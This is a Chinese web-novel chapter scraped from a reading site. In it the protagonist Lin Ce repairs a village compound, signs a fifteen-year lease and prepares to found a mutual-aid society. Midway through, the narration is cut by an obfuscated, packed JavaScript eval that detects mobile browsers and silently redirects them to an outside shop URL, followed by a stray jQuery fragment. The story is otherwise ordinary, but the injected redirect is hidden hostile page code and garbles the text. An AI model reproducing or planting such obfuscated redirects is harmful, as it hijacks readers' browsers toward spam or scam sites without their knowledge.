文趣网 > 其他小说 > 她从荒芜开始 > 37. 先修屋顶,再谈理想
    一开始,没人相信林策真的会拿出六枚金币。

    更准确地说,没有人相信她会把六枚金币,放到一群昨日还只是陌生人的村民面前。

    告诉他们,这笔钱不是用来收购矿坑,也不是用来雇他们干活,而是要交给一个尚且不存在的组织。

    六枚金币整整齐齐地摆在林策工坊的长桌中央。

    窗外的风从门缝里挤进来,吹得油灯火苗摇晃,也照得金币边缘一明一暗。

    屋里坐着三十来个村民,却安静得只能听见柴火燃烧时偶尔炸开的轻响。

    一名老矿工盯着那些金币看了许久,终于忍不住问:“这钱……真是你的?”

    那不是他们平日里会接触的钱。

    他们见过金币,但大多是在商人的钱袋里,在贵族的账本里,而不是这样一次性摆在自己的桌子上。

    林策没有急着回答。

    她先看了一眼坐在桌边的人。

    三十多双眼睛看着她,有人期待,有人犹豫,但更多的人仍然保持着警惕。

    她低头扫过桌边那份已经写好的契约,油灯的光晃过纸面,和两天前傍晚的残阳渐渐叠在了一起。

    学院马车赶在天色彻底暗下来之前回到了落石村。

    格伦刚把车停进旧矿务院的侧门。

    发誓虽然看上去买的东西多却一定没超预算的艾拉,抱着她那件“因为太美所以必须购买”的小工具跳下了车。

    安伦紧跟在后面,怀里护着自己的掌晶和几卷资料。

    凯恩因为不愿意挤在车厢里,选择坐在了车辕旁边,落地后他先活动了一下因为吹了一路冷风而冻得有些僵硬的手指。

    “下次再买这么多东西,”他看了一眼几乎塞满整个车厢的木箱和零件,“车外的位置也要算钱。”

    艾拉立即反驳:“你明明是自己不愿意坐进去。”

    “里面没有能坐人的地方。”

    “挤一挤就有了。”

    凯恩看向她:“你对‘人’的位置是不是有什么误解?”

    凯恩说着,斜眼看向刚从马车上轻巧跳下来的橘座,语气凉凉地补充道:“何况车厢里还塞了某位‘橘座大人’非要买的肉干。按照店主的说法,十年前就有只橘猫,连着十几天跑去‘拿’肉干。是你吧,橘座大人?”

    橘座本来蹲木箱舔爪子,它的动作一顿,连耳朵都僵了一下,随即理直气壮地昂起头:“胡说。十年前的事情,和现在的本座又有什么关系。”

    林策没有加入他们的争论。

    她站在院子中央,借着尚未完全消失的天光,重新打量了一遍这座已经住了些日子的旧院子。

    院墙缺了几处,虽然用石块简单堵过,风还是能从缝隙里钻进来。库房的门板倒是结实,毕竟此前既锁过钱,也关过人,屋顶却只换掉了破损最严重的几块木板,靠墙的一角依旧留着明显的水渍。

    主屋已经被他们收拾成了临时工坊兼议事大厅。长桌上经常同时铺着艾拉的图纸、安伦的资料和林策的账本,窗框却依旧是歪的。每逢刮风,整扇窗便跟着哐当作响,桌上的纸张必须压上石块才不会飞得到处都是。

    他们刚住进来时,只求一个功能基本能满足的院落,能睡觉,能生火,有足够的空间可以让艾拉和格伦干活就够了。

    可如今,如果想要在落实村长期发展,这原本勉强够用的地方,突然就显得哪哪都不合适了。

    林策推开主屋的门。门轴发出一声格外绵长的呻吟。

    林策站在门口沉默片刻,抬头看了眼屋顶临时补住的木板,语气笃定:“得把房子修好,后面要办的事,得有个正经据点。”

    没有人追问她口中的“后面要办的事”是什么。

    但他们都知道,从黑石城回来之后,有些东西已经变了。

    以前他们只是暂时聚在这里。现在,他们开始像是在这里扎根。

    格伦已经挽起袖子走到车后搬木料,他温和地提出建议:“屋顶和窗户最好先修。再冷一些,夜里会更难熬。工坊那边可以先把漏风的地方堵上,里面的架子慢慢做。”

    林策点头:“好。就按这个顺序。”

    她走到马车旁搬了一个箱子,分量比预想的沉,双手抱住刚走两步,重心就被带着往前一倾。

    “你不是在搬箱子。”凯恩看了一眼:“箱子正在带你走。”

    格伦连忙从她手中接过箱子:“林策小姐,重的东西我们来。”

    林策活动了一下发酸的手臂。

    她最近开始有意识地锻炼,早晨绕村快走,提着半桶水在院子里来回走。黑石的能力和身体承受力挂钩,她不能永远每次用完能力就躺倒。

    只是,目前看来,效果还主要停留在“没有立刻被箱子压倒”的阶段。

    几人忙到天色完全黑下来,才把车上的东西全部卸完。

    精钢零件和机关组件被送进旧仓库,怕潮的纸张和工具则搬进了主屋。凯恩原本只负责“站在旁边防止院子突然受到袭击”,最后还是在林策的注视下扛走了最重的两只木箱。

    他把箱子放下后,伸出手。

    “干什么?”林策问。

    “工钱。”

    林策直接把一块抹布塞进他手里:“去擦窗户。”

    “这个得另外加钱。”

    “可以。”

    她答应得太快,凯恩反而警惕:“多少?”

    “等互助会成立以后,从你的正式薪酬里核算。”

    凯恩盯着她看了两秒:“又是以后。”

    “来都来了,凯恩先生。”

    “这句话不能抵账。”

    院子里传来安伦毫不掩饰的笑声。

    第二天一早,旧院子的修补项目正式动工。

    村里没有专业木匠,更没有随叫随到的建筑队。但格伦的手工本事足以应付大部分木作,村长又让人送来几捆旧木料和一些还能使用的瓦片。

    修缮进行了整整两天。漏风的窗户被重新固定,屋顶上腐坏的木板换掉了大半。格伦还给每间屋子做了简单的木架。

    原本堆满杂物的小工具间清理出来,暂时给凯恩住。安伦的客房也重新整理过。他把掌晶、资料和果干罐头依次摆上木架,又在床边挂了只小布袋。林策路过时,看见布袋边缘绣着朵歪歪扭扭的小花。

    院子虽然还远远称不上整洁,但至少开始像一个能够长久生活的地方。

    午后的阳光从修好的窗户照进主屋,第一次没有带着冷风。厨房里煮着格伦准备的野兔肉汤,旧仓库里传来艾拉敲打零件的声音,凯恩则靠在新修好的门边晒太阳,橘座四处转悠,物色能藏肉干的风水宝地。

    房子修好了,接下来还要解决这座房子的产权问题了。

    村民当初把院子交给他们住,是好意,也是想留住艾拉这个机关师。谁也没提租金,更没定期限。短期这样是没问题,可一旦开始修屋顶、搭工坊、扩建仓库,一句“你们住着吧”就远远不够了。

    林策当天就去找了村长老伍德。

    老伍德听完她的要求,明显没有理解:“签契约?这破院子空了多少年了,你们愿意帮村里修缮,那还是落石村占了便宜。你们安心住着就是了。”

    老伍德摆摆手。

    “我刚刚修了屋顶,但我想之后扩建。”林策指尖在桌面上轻轻画着示意图:“后面的空地可以做储料棚,侧边能修车棚,工坊以后也需要单独的仓库。”

    老伍德听得眉头直跳:“村里又不会赶你们走。”

    “现在不会,不代表十年以后也不会。”

    老伍德沉默了一下:“十年?”

    “我准备签十五年。”

    老伍德看她的眼神顿时更加复杂了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821767|211153||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“做长期事,就得按最坏的情况准备。我不知道会在村里待多久,但总不能每年都重新谈一次屋子归谁。”林策语气平静,“屋子是屋子,感情是感情。现在关系好,什么都可以不写;等以后投入的钱越来越多,谁都说不清楚,反倒最伤感情。”

    老伍德盯着她看了一会儿,最后无奈地摇了摇头:“你呀,连住一间破屋都要写得清清楚楚。”

    契约由安伦起草。

    院子仍属于落石村共同使用的村产。林策一方取得十五年使用权,每年缴纳一枚银币作为租金,并支付四枚银币作为村产维护金。修缮、扩建费用由使用方自行承担。租用范围包含后方废弃旧堆场,界内可修屋、搭棚、建仓、扩建工坊,但不得转租或转卖外人。

    村长觉得五枚银币有点多了:“这村产维护金?你们修的是我们村的旧房子,为什么还要给钱?”

    “没有租金,就像村里在白送我租们房子。有租金,哪怕只有一枚银币,大家也知道这是一笔正式交易。”林策说,“维护金是因为这里属于村子。以后如果这个地方真的值钱,今天写下的东西才保护双方。”

    契约一式两份,由村长和两名年长村民作为见证人留下手印。林策则在末尾写下自己的东陆姓名,再按上指印。

    村长看着她端端正正写下那两个字。

    “这就是你的名字?这是东陆字?”

    “嗯。是和通用文完全不一样,但写在契约上,都作数。”

    林策收起属于自己的那份契约,指尖拂过纸面。

    从今天起,这座破院子才算真正成了他们在落石村的根。

    互助会的根基,也才算真正落了地。

    格伦刚把院门最后一处松动的木板钉牢,一辆从黑石城回来的运货车便停在了村口。

    赶车的村民带回来的不只有盐和几件修好的工具,还有一条已经在黑石城传开的消息:托尔正在抓捕吉姆从前的手下。

    据说已经抓到了两个,剩下的人有的躲了起来,有的连夜逃出了黑石城。赌场和南矿门附近都有人盘查,托尔显然认定吉姆留下的钱落在了那群混混手里。

    消息传到旧矿务院时,林策正在和格伦清点剩余木料。

    她只问了一个问题:“有人来落石村打听吗?”

    “没有。”送信的村民想了想:“现在城里都在猜,托尔能不能把剩下的钱追回来。”

    林策点了点头。

    她没有笑,只是把原本压在账本上的手指收了回来。

    安伦坐在窗台边,手里捧着果干罐头:“这就是你一直在等的消息?”

    “嗯。”林策抬头看了一眼已经修好的屋顶。

    短时间内,托尔不会再把主要精力放在落石村,更不会轻易质疑一笔有范恩商会契约和城务记录的资金。

    他们有了宝贵的发展窗口期。

    林策把账本夹在手臂下面,掸掉裙角沾上的木屑:“时间到了。”

    艾拉从工坊里探出头:“什么时间?”

    “去请村长。”林策说道,“互助会可以成立了。”

    于是,便有了眼下这一幕。

    林策抬起头,目光扫过屋里每一张或困惑、或期待、或半信半疑的脸。

    她伸出手指,轻轻点了点桌上那六枚金币。

    “这钱,”她说,“是我的。我把我的家传匕首质押给了范恩商会。”

    她话音刚落,人们瞬间开始切切私语起来:“连家传匕首都换钱了?”

    老矿工还是没有去碰契约,目光仍旧钉在那六枚金币上,问出了所有人心里最疑惑的那句话:

    “就算钱是你的,你凭什么拿出来给我们?我们非亲非故,你到底图什么?”

    屋里再次安静下来。

    柴火噼啪炸响。

    林策知道,真正的考验,现在才刚刚开始。